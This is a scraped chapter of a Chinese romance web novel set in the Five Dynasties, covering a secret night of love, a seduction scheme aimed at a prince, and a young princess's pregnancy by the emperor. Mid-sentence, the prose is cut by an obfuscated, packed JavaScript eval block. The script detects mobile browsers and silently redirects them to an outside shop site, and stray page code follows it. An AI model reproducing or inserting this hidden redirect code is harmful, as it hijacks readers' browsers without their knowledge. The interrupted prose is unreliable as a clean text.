文趣网 > 都市小说 > 五代离乱,花开彼岸 > 66. [锁]   [此章节已锁]
    李存勖止住了动作,看着李凌薇近乎绝望的眼神,“今生今世,我的心只属于你一人,我爱的只有你。如果可以,我恨不得挖心剖肝,以见赤诚。”

    是不是有他这句话就足够了?是不是之前一切等待全部都值得了?可那根插在李凌薇心中的刺,始终拔不出来。她声音冷漠,缓缓说道:“我已经怀了朱友贞的孩子。”

    李存勖睁大了震惊的双眼,双眉紧锁成一团,不住地摇头,“不可能……不可能……你和他之间,难道有了真感情?”

    李凌薇听了,一阵心酸,愣了半晌道:“是。”

    李存勖一步步后退,直至两膝一软,跪倒在地,口中喃喃重复着:“对不起,对不起。”

    李凌薇在心底默默告诉自己,这一切真的结束了,从此他将从她的生活中彻底消失,两人将永远形同陌路。只是,为何她的心会如此撕痛,仿佛被摧肝裂胆一般?

    须臾,李存勖温暖的怀抱拥上李凌薇,热泪滴落在她脸上,“就算你已爱上别人,我也爱你。就算你怀了他的孩子,我也爱你。我爱的是你,无论怎样,我都爱你。在我心中,再也没有谁能代替你的位置。对不起,是我不够好,不能保护你。对不起,是我无用,不能带你离开这里。对不起……”

    李存勖的眼泪仿佛烫伤了李凌薇的脸,她再也绷不住那跳动的神经,心墙彻底崩塌,猛地钻入李存勖怀中,失声痛哭,“为何要这样?为何要这样?让我彻底死心好不好,让我有勇气离开你好不好?不要再让我胡思乱想,好不好,我求求你了!”

    “当我在凤翔走进你洞房的时候,你握住我的衣袖,用那种无助迷茫的眼神看着我,我就知道,我这一辈子都要守护你!”

    “存勖……”

    “阿凌,阿凌……”李存勖反复地念着她的名字,喃昵的声音一遍一遍响起。

    “存勖……”李凌薇卸下坚硬的外壳,任凭自己原本层层包裹着的那颗脆弱的心彻底暴露于李存勖眼底。

    “我说过让你等我,可照如今的形势看,好像并不允许。我给不了你任何承诺,却还痴心地想让你一直等着我……你还会爱这样无能的我吗?”

    李凌薇急忙点头。

    李存勖深情地吻上她的双唇,手指轻柔地解开李凌薇身上的寝衣系带,她雪白的双肩渐渐显露……

    李凌薇打了个哆嗦,人瞬间清醒,忙按住李存勖的手,惊慌道:“你快点离开,这里很危险,阿祚说了不会放过你!”

    “为了你,就算丢了我的性命,我也在所不惜。尾生抱柱,至死方休。”

    闻言,李凌薇捧起李存勖的脸庞,吻上他那迷人眸子,就让她放纵一次吧!她不要再怕了,不要再躲了,就算下一刹万劫不复但这一须臾是也只属于两人的欢乐!就这一次,如果今生注定不能相守,她想给他们留下最美的记忆!

    月光透过窗牖倾泻到地面上,整座仙居殿分外静谧,只能听见大雪飘落于地的声音。

    李存勖满是不敢置信的狂喜,“阿凌!你……你还是……你和我……”

    “我的心,我的身子,我整个人一直都在等着你!”

    李存勖笑得格外傻气,笑着笑着一滴滴眼泪落了下来,“阿凌,谢谢你。我的身子也一直在等着你。可我,我不值得你这般待我……”

    李凌薇用唇堵上他的口,“值得,一切都值得。”

    在这一刻,他们忘却了彼此的烦恼,忘却了身份的桎梏,忘却了立场的对立。此刻,唯有情感,是人最原始的本性。

    李存勖懊恼道:“可我能给你的爱永远那么短暂。”

    “正因短暂,所以难忘。”李凌薇想,不管世事如何,她只想好好爱一回。

    “你可后悔过遇见我?”

    李凌薇展颜一笑,轻声道:“九死不悔,苍生遇见。”

    ——————

    朱友文深知张惠已死,朱凛完全没有必要再认他这个儿子,但他回到老家后一直愤愤不平。恰逢新春,不甘心的他再次回到魏王府,跪在朱凛院外,口中喊道:“大王,臣归乡之后,日夜感念大王与王妃昔日之恩,特自家中赶来叩谢,感大王教诲之德!求大王再赐一见!”此刻的他已经不敢再称呼朱凛为父亲了。

    朱凛正准备离开,皱着眉头看向朱友文。

    “大王,您对我的恩情我无以为报,只想再次叩谢您,今日之后,我便不再踏入王府半步。”朱友文颡首在地。

    “你还有何事?”朱凛不耐烦道。

    “内人王氏也感恩大王垂爱,特意从老家赶来拜谢大王,求大王赐机会当面拜谢!”

    “不必了。”

    “大王,贱内已在院外恭候。”朱友文膝行至朱凛面前,再三恳请,“求大王允贱内叩头谢恩!”

    朱凛不动声色地看着朱友文。

    朱友文难测朱凛心思,也不敢再多说话,便垂首而立,不觉间竟有冷汗涔涔而下。

    朱凛疑惑地看了看一脸有话要说的朱友文,点了点头,走回堂内坐下看起书信。

    院外的王莹娘已恭候多时,闻得可入之令,长舒一口气,迈着细碎莲步,款款而入。她身着一袭朱砂红齐胸衫裙,外搭绿茶色半臂,浓烈中不失清雅,虽荆钗布裙,亦难掩其妩媚秾艳之姿。

    她俯身跪下,操着一口极细的吴侬软语道:“妾王氏参见大王,大王胜常。”

    朱凛听了这酥软的嗓音,抬起头,待看清王莹娘长相时,大惊失色道:“你、你叫什么?”

    “妾王氏,闺名莹娘。”

    朱凛看着王莹娘的相貌,一双眼睛像极了已经过世的张惠。他怔怔地看了半晌,起身从堂内走出,“走近让我瞧瞧。”

    王莹娘稍整衣衫,垂首登阶入堂,她脚底打颤,软绵的身子一个趔趄,朱凛连忙上前去扶,她借势将一只柔嫩的手有意无意地搭在朱凛手上,身子自然而然地靠了过去,见朱凛目光炯炯地盯着她,意识到自己失礼,面色一红,娇羞地站起身。

    朱凛色眯眯地盯着眼前的儿媳妇,谁料王莹娘身子又是一软,整个人跌进朱凛怀中,温热的肌肤透过薄薄的衫子传到朱凛掌心,他眼神似醉了酒般朦胧。

    朱友文看着朱凛凝重痴目,心想大势已成,如释重负地松了一口气,悄无声息地退出院子。

    ——————

    “曾宴桃源深洞,

    一曲舞鸾歌凤。

    长忆别伊时,

    和泪出梦相送。

    如梦,

    如梦,

    残月落花烟重。”

    李凌薇直至辰时方醒,她自榻上起身,取过枕畔信纸,细细展开阅读,“梦”字上面留有泪水晕开的痕迹,熟悉的字眼儿牵动着她,回想昨夜的经过,仿佛做了一场惊梦。

    李存勖早已离开,记得梦中的他摸着自己的脸,难舍难分的泪珠滴落在自己的脸颊上,她轻抚面上干涸之迹,似仍留有他余温。

    阳光透过窗牖洒入她的寝阁,格外耀眼,一股怡人的香气漫进房间。李凌薇兀自坐了良久,她将信纸贴在胸口,一股淡淡喜悦涌上心头,如草地间悄然绽放的小花,在她心间徐徐盛开。

    “公主?”阿诺在门外小声喊道。

    “进来吧。”李凌薇走到窗牖前,雪过天晴,她朝着太阳美美地伸了一个懒腰,整个人神清气爽。

    阿檀捧着换洗的衣衫走入,开玩笑说:“公主今天真是贪睡,这日头都快上三竿了呢。”

    李凌薇笑着朝她吐了吐舌头,拿起窗台的兰花走到铜镜前坐下等待梳洗。

    阿诺拿着篦子仔细帮李凌薇理发,“很久都没有见到您这么高兴了,阿嚏……”她立即用手帕捂住鼻子。

    “怎么了,可是受了风寒?”李凌薇轻拉住阿诺的手,关切问道。

    “无大碍,公主不必担心。”阿诺摇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591635|203025||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了摇头,话音未落又连打了几个喷嚏,鼻涕一下子流了出来。

    “快回去歇息吧,给自己煮一碗姜汤,吃下去闷头睡一觉,发发汗就好了。”李凌薇一抬起头见阿诺小脸变得煞白,惊愕地盯着自己,欲言又止,“怎么了?脸色这么白。莫不是发烧了?”遂将手放于阿诺额头上,倒并未发热。

    “没……没什么。”阿诺迅速垂下脖颈,走到一旁,拿起汗巾浸入盆中,拧干后递到李凌薇手中,“我只是觉得,今日公主的气色格外好。”

    梳洗过后,她满脸幸福地照着铜镜,拿起胭脂盒,把一点薄薄的胭脂匀注在脸颊上,又在首饰盒中翻找起珠钗,却怎么也找不见那支碧玉簪子,寻思一定是李存勖顺走了,莞尔一笑,又拿起一支蝴蝶玉簪,对着镜子查看是否得宜。

    阿檀惊讶地望着李凌薇这一连串的举动,心想:今日这是怎么了?这一年来,她不施脂粉,不戴华贵首饰,只着寻常半新的浅色衫子。

    李凌薇绾起发髻,蓦然发现自己白皙的脖颈上,深深烙下了昨夜肆意欢情后的吻痕,回想起昨晚与李存勖缠绵悱恻的情景……顿时脸烫如火。怪不得阿诺刚才会那样看自己!她掩饰起尴尬,淡淡地说:“去给我找一件高领的长衫吧。”

    “喏。”阿诺快步找来一件雪青色高领长袍,给李凌薇穿上后正好将整个脖颈遮住。

    “公主你昨晚?”阿诺欲言又止地看着她。

    李凌薇猜到她想要说些什么,握住她的手柔声道:“手怎么这么凉,快回去歇息吧。”

    阿诺望了李凌薇好一会儿,才转身离开。突然,朱晓风哭着跑了进来,一把抱住李凌薇,伏在她膝上嘤嘤抽泣,哭得好不伤心。

    李凌薇放下未绾好的发髻,轻抚朱晓风的后背宽慰道:“九娘,这是怎么了?”

    朱晓风抬起头来,原本一双漂亮的鹿眼哭得像兔子般红肿。哀伤笼罩在她的脸上,嘴唇翕动着,看了李凌薇半晌,又低头哭了起来。

    李凌薇轻拍她一耸一耸的后背,等她情绪慢慢平复,故意打趣地说:“是何人如此讨厌,一大早就惹我们九娘如此伤心?我若是知道了,定不会轻饶他。”

    朱晓风无助地看着李凌薇,沙哑的嗓子哽咽道:“我……我……嫂嫂,你要帮我。”

    “好。如果我能帮你的话,我一定会帮你。”

    “我……”朱晓风抬起眼帘,打量了一番阿诺和阿檀,眉头微蹙,又低头不语。

    李凌薇用眼神示意两人先退下,又掏出手帕将朱晓风眼中的泪水擦去,“现下只剩下咱们俩,有什么委屈都与我说吧。”

    “嫂嫂我……”朱晓风紧咬下唇,双手交叉着使劲抠着。

    李凌薇握住她的手,白皙的手掌被她抠得一道道红线,“怎么?连我都不信任了吗?”

    “不是。”朱晓风急忙辩解,在李凌薇的注视下,她缓缓地含糊道,“我好像有了。”

    “有了什么?”

    “我好像……有了身孕。”

    李凌薇惊愕地看着她,霎时不知所措。她怎么会怀有身孕?在这守卫森严的皇宫大内,怎么会有男子出现?

    朱晓风低下头,泪水不断地流着。

    李凌薇轻轻抬起朱晓风右手腕,指尖轻按脉搏,细细探寻了半晌:竟真是喜脉!她静思了一会儿,猝然意识到,难不成这个孩子是?她又不甘心地将手放在朱晓风左手腕上摸了一会儿,终于肯定了心中的猜测,惊讶得几乎停止呼吸!他们两人年纪还那么小?怎么可能会有了孩子?

    “是圣人的。”朱晓风声音坚定,“我是真心喜欢圣人。”

    李凌薇面色骤然一沉,“你们俩是什么时候……”

    “就是……”朱晓风的声音很小,李凌薇凑近了才勉强能够听清,“上个月的晚上,我回宫时碰上了圣人,然后跟着他到了积善宫,我们……然后……”她低下头捂住脸孔,没有再说下去。